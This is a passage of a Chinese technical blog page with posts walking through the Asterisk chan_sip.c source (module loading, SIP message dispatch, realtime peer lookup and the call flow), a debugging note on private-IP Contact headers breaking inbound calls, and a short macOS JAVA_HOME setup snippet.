            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/音视频/" itemprop="url" rel="index">
                    <span itemprop="name">音视频</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>这几天阅读了下asterisk channels/chan_sip.c部分的源码（基于13.3.2版本），现梳理如下（代码只列出关键点）:</p>
<h3 id="1-模块装-卸-载"><a href="#1-模块装-卸-载" class="headerlink" title="1. 模块装(卸)载"></a>1. 模块装(卸)载</h3><p>asterisk是采用模块方式来实现动态装卸载</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//定义ast_channel_tech变量，并赋值相应接口行为</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ast_channel_tech</span> <span class="title">sip_tech</span> &#123;</span></span><br><span class="line">    .requster = sip_request_call,   <span class="comment">//初始化会话</span></span><br><span class="line">    .call = sip_call,               <span class="comment">//呼叫</span></span><br><span class="line">    .hangup = sip_hangup,           <span class="comment">//挂掉</span></span><br><span class="line">    .answer = sip_answer,           <span class="comment">//接听</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//定义加载函数</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">int</span> load_module(<span class="keyword">void</span>) &#123;</span><br><span class="line">    ast_channel_register(&amp;sip_tech);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//定义卸载函数</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">unload_module</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">    ast_channel_unregister(&amp;sip_tech);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//注册模块</span></span><br><span class="line">AST_MODULE_INFO(ASTERISK_GPL_KEY, AST_MODFLAG_LOAD_ORDER, <span class="string">"Session Initiation Protocol (SIP)"</span>,</span><br><span class="line">        .support_level = AST_MODULE_SUPPORT_CORE,</span><br><span class="line">        .load = load_module,</span><br><span class="line">        .unload = unload_module,</span><br><span class="line">        .reload = reload,</span><br><span class="line">        .load_pri = AST_MODPRI_CHANNEL_DRIVER,</span><br><span class="line">        .nonoptreq = <span class="string">"res_crypto,res_http_websocket"</span>,</span><br></pre></td></tr></table></figure>
<h3 id="2-整体数据流"><a href="#2-整体数据流" class="headerlink" title="2. 整体数据流"></a>2. 整体数据流</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//为socket io添加监听事件（以UDP为例，TCP采用tcp_helper）</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> *<span class="title">do_monitor</span><span class="params">(<span class="keyword">void</span> *data)</span> </span>&#123;</span><br><span class="line">    sipsock_read_id = ast_io_add(io, sipsock, sipsock_read, AST_IO_IN, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//所有UDP数据都经过sipsock_read回调</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">sipsock_read</span><span class="params">(<span class="keyword">int</span> *id, <span class="keyword">int</span> fd, <span class="keyword">short</span> events, <span class="keyword">void</span> *ignore)</span> </span>&#123;</span><br><span class="line">    <span class="comment">//读取socket数据并放入req.data</span></span><br><span class="line">    <span class="comment">//读取socket地址并作为handle_request_do第二个参数传入</span></span><br><span class="line">    handle_request_do(&amp;req, &amp;addr);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">handle_request_do</span><span class="params">(struct sip_request *req, struct ast_sockaddr *addr)</span> </span>&#123;</span><br><span class="line">    <span class="comment">//判断是否是debug ip, sip_debug_test_addr, 并置req-&gt;debug=1，后续将打印该ip的所有信令</span></span><br><span class="line">    <span class="comment">//解析内容判断合法性，并放入req-&gt;method、req-&gt;header、req-&gt;line (body)</span></span><br><span class="line">    <span class="comment">//查找或创建会话sip_pvt</span></span><br><span class="line">    handle_incoming(p, req, addr, &amp;recount, &amp;nounlock)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">handle_incoming</span><span class="params">(struct sip_pvt *p, struct sip_request *req, struct ast_sockaddr *addr, <span class="keyword">int</span> *recount, <span class="keyword">int</span> *nounlock)</span> </span>&#123;</span><br><span class="line">    <span class="comment">//如果是客户端回复包（Trying、Ringing等）调用handle_response</span></span><br><span class="line">    <span class="keyword">if</span> (req-&gt;method == SIP_RESPONSE) &#123;</span><br><span class="line">        handle_response(p, respid, e + len, req, seqno);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">    &#125; </span><br><span class="line">    <span class="comment">//否则根据Method进行路由（handle_request_xxxxx）</span></span><br><span class="line">    <span class="keyword">switch</span> (p-&gt;method) &#123;</span><br><span class="line">    <span class="keyword">case</span> SIP_INVITE:</span><br><span class="line">        res = handle_request_invite(p, req, addr, seqno, recount, e, nounlock);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> SIP_CANCEL:</span><br><span class="line">        res = handle_request_cancel(p, req);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> SIP_BYE:</span><br><span class="line">        res = handle_request_bye(p, req);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> SIP_MESSAGE:</span><br><span class="line">        res = handle_request_message(p, req, addr, e);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> SIP_REGISTER:</span><br><span class="line">        res = handle_request_register(p, req, addr, e);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="3-业务流"><a href="#3-业务流" class="headerlink" title="3. 业务流"></a>3. 业务流</h3><h5 id="3-1-读取MySQL数据库"><a href="#3-1-读取MySQL数据库" class="headerlink" title="3.1 读取MySQL数据库"></a>3.1 读取MySQL数据库</h5><p>当sip用户密码等信息存储于数据库，则通过如下调用栈进行数据读取和写入<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sip_find_peer_full -&gt; realtime_peer -&gt; realtime_peer_by_name -&gt; ast_load_realtime -&gt; ast_load_realtime_fields -&gt; ast_load_realtime_all_fields -&gt; mysql_engine.realtime_func (res_config_mysql.c) -&gt; realtime_mysql</span><br></pre></td></tr></table></figure></p>
<h5 id="3-2-呼叫流程"><a href="#3-2-呼叫流程" class="headerlink" title="3.2 呼叫流程"></a>3.2 呼叫流程</h5><p>执行extension.conf配置规则（exten =&gt; _X.,1,Dial(SIP/${EXTEN}, 20))<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">handle_request_invite -&gt; ast_pbx_start -&gt; __ast_pbx_run -&gt; ast_spawn_extension -&gt; pbx_extension_helper -&gt; pbx_exec -&gt; app.execute -&gt; dial_exec (app_dial.c)  -&gt; dial_exec_full</span><br></pre></td></tr></table></figure></p>
<pre><code class="c">dial_exec_full -&gt; ast_request -&gt; sip_tech.requester -&gt; sip_request_call
...
dial_exec_full -&gt; ast_call -&gt; sip_tech.call -&gt; sip_call
</code></pre>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2018/01/08/2018-01-08-asterisk中fullcontact私有IP导致被呼叫失败/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2018/01/08/2018-01-08-asterisk中fullcontact私有IP导致被呼叫失败/" itemprop="url">asterisk中fullcontact私有IP导致被呼叫失败</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2018-01-08T00:00:00+08:00">
                2018-01-08
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/音视频/" itemprop="url" rel="index">
                    <span itemprop="name">音视频</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <p>最近发现某些注册到asterisk的SIP客户端无法被呼叫，抓包确定是由于asterisk往私有IP发送数据，通过对比发现这些客户端发送的SIP信息Contact字段是私有IP，google了下相关资料并未找到解决方法，于是跟踪了下代码，找出了原因，现梳理如下：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">enum</span> check_auth_result <span class="title">check_user_full</span><span class="params">(struct sip_pvt *p, struct sip_request *req,</span></span></span><br><span class="line"><span class="function"><span class="params">                          <span class="keyword">int</span> sipmethod, <span class="keyword">const</span> <span class="keyword">char</span> *uri, <span class="keyword">enum</span> xmittype reliable,</span></span></span><br><span class="line"><span class="function"><span class="params">                          struct ast_sockaddr *addr, struct sip_peer **authpeer)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    res = check_peer_ok(p, name, req, sipmethod, addr,</span><br><span class="line">            authpeer, reliable, calleridname, uri2);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">enum</span> check_auth_result <span class="title">check_peer_ok</span><span class="params">(struct sip_pvt *p, <span class="keyword">char</span> *of,</span></span></span><br><span class="line"><span class="function"><span class="params">    struct sip_request *req, <span class="keyword">int</span> sipmethod, struct ast_sockaddr *addr,</span></span></span><br><span class="line"><span class="function"><span class="params">    struct sip_peer **authpeer,</span></span></span><br><span class="line"><span class="function"><span class="params">    <span class="keyword">enum</span> xmittype reliable, <span class="keyword">char</span> *calleridname, <span class="keyword">char</span> *uri2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (sipmethod == SIP_SUBSCRIBE) &#123;</span><br><span class="line">        peer = sip_find_peer(of, <span class="literal">NULL</span>, TRUE, FINDALLDEVICES, FALSE, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function">struct sip_peer *<span class="title">sip_find_peer</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *peer, struct ast_sockaddr *addr, <span class="keyword">int</span> realtime, <span class="keyword">int</span> which_objects, <span class="keyword">int</span> devstate_only, <span class="keyword">int</span> transport)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> sip_find_peer_full(peer, addr, <span class="literal">NULL</span>, realtime, which_objects, devstate_only, transport);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> struct sip_peer *<span class="title">sip_find_peer_full</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *peer, struct ast_sockaddr *addr, <span class="keyword">char</span> *callbackexten, <span class="keyword">int</span> realtime, <span class="keyword">int</span> which_objects, <span class="keyword">int</span> devstate_only, <span class="keyword">int</span> transport)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">if</span> (!p &amp;&amp; (realtime || devstate_only)) &#123;</span><br><span class="line">        p = realtime_peer(peer, addr, callbackexten, devstate_only, which_objects);</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> struct sip_peer *<span class="title">realtime_peer</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *newpeername, struct ast_sockaddr *addr, <span class="keyword">char</span> *callbackexten, <span class="keyword">int</span> devstate_only, <span class="keyword">int</span> which_objects)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="comment">/* Peer found in realtime, now build it in memory */</span></span><br><span class="line">    peer = build_peer(newpeername, var, varregs, TRUE, devstate_only);</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> struct sip_peer *<span class="title">build_peer</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *name, struct ast_variable *v, struct ast_variable *alt, <span class="keyword">int</span> realtime, <span class="keyword">int</span> devstate_only)</span> </span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">if</span> (ast_str_strlen(fullcontact)) &#123;</span><br><span class="line">        ast_string_field_set(peer, fullcontact, ast_str_buffer(fullcontact));</span><br><span class="line">        peer-&gt;rt_fromcontact = TRUE;</span><br><span class="line">        <span class="keyword">if</span> ((!ast_test_flag(&amp;peer-&gt;flags[<span class="number">2</span>],  SIP_PAGE3_NAT_AUTO_RPORT) &amp;&amp; !ast_test_flag(&amp;peer-&gt;flags[<span class="number">0</span>], SIP_NAT_FORCE_RPORT))</span><br><span class="line">            || ast_sockaddr_isnull(&amp;peer-&gt;addr)) &#123;</span><br><span class="line">            __set_address_from_contact(ast_str_buffer(fullcontact), &amp;peer-&gt;addr, <span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://smallmuou.gitee.io/blog/blog/2017/12/27/2017-12-27-MacOS配置JAVA_HOME/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="smallmuou">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/blog/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="smallmuou's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/blog/2017/12/27/2017-12-27-MacOS配置JAVA_HOME/" itemprop="url">MacOS配置JAVA_HOME</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2017-12-27T00:00:00+08:00">
                2017-12-27
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/blog/categories/运维/" itemprop="url" rel="index">
                    <span itemprop="name">运维</span>
                  </a>
                </span>

                
                
              
            </span>
          

          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> JAVA_HOME=$(/usr/libexec/java_home)</span><br><span class="line"><span class="built_in">export</span> PATH=<span class="variable">$JAVA_HOME</span>/bin:<span class="variable">$PATH</span></span><br><span class="line"><span class="built_in">export</span> CLASS_PATH=<span class="variable">$JAVA_HOME</span>/lib</span><br></pre></td></tr></table></figure>
          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
  </section>

  
  <nav class="pagination">
    <a class="extend prev" rel="prev" href="/blog/page/3/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/blog/">1</a><span class="space">&hellip;</span><a class="page-number" href="/blog/page/3/">3</a><span class="page-number current">4</span><a class="page-number" href="/blog/page/5/">5</a><span class="space">&hellip;</span><a class="page-number" href="/blog/page/20/">20</a><a class="extend next" rel="next" href="/blog/page/5/"><i class="fa fa-angle-right"></i></a>
  </nav>



          </div>
          


          

        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      

      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">smallmuou</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/blog/archives/">
              
                  <span class="site-state-item-count">197</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            
              
              
              <div class="site-state-item site-state-categories">
                <a href="/blog/categories/index.html">
                  <span class="site-state-item-count">12</span>
                  <span class="site-state-item-name">分类</span>
                </a>
              </div>
            

            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/smallmuou" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-globe"></i>GitHub</a>
                  </span>
                
            </div>
          

          
          

          
          

          

        </div>
      </section>

      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">smallmuou</span>

  
</div>

    <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

    <span id="busuanzi_container_site_pv">总访问量<span id="busuanzi_value_site_pv"></span>次</span>
    <span class="post-meta-divider">|</span>



  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">主题 &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Muse</a> v5.1.4</div>




        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  












  
  
    <script type="text/javascript" src="/blog/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/blog/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  


  


  <script type="text/javascript" src="/blog/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/blog/js/src/motion.js?v=5.1.4"></script>



  
  

  

  


  <script type="text/javascript" src="/blog/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

</body>
</html>
